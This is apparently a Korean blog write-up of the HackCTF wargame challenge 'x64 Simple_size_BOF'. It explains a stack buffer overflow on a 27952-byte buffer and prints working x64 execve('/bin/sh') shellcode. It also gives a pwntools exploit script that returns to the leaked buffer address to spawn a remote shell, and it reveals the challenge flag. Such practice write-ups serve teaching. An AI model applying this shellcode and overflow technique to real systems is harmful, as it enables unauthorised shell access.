워게임

HackCTF - x64 Simple_size_BOF

HackHiJack 2021. 7. 27. 15:32
728x90
반응형

오늘은 hackctf의 x64 simple size bof 문제를 풀어볼 것이다.

 

처음에는 왜 제목이 이런지 이해를 못했는데 디컴파일후 그 이유를 알게 되었다.

 

일단 먼저 프로그램을 실행해보자.

그냥 자살방지 문제라고 하고 buf의 주소를 준다.

 

이제 디컴파일을 해보자.

아래처럼 나온다.

 

크기가 27952인 buf를 받는다.ㅋㅋㅋ

 

그러면 스택은 아래와 같다.

buf(v4) : 27952
sfp : 8
ret : 8

nop을 27960 - 23 byte 하고 shellcode(23byte)를 주고 buf의 주소를 넣으면 쉘 획득에 성공할 것이다.

 

shellcode(23byte)(64bit)
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

쉘코드를 잘 사용하자...ㅠ.ㅠ 32비트 쉘코드 사용해서 오류가 너무 낫ㅅ.......

 

이제 exploit code를 만들어 보자.

from pwn import *

#context.log_level = "debug"

#p = process("./bof")
p = remote("ctf.j0n9hyun.xyz",3005)


p.recvuntil("buf: ")

buf = int(p.recv(),16) #read buf address
print(hex(buf))
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

payload = shellcode
payload += b"\x90"*27937
payload += p64(buf)

p.sendline(payload)

p.interactive()

이제 스크립트를 실행해보자.

위처럼 쉘 획득에 성공한 것을 알 수 있다.

flag : HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}
728x90
반응형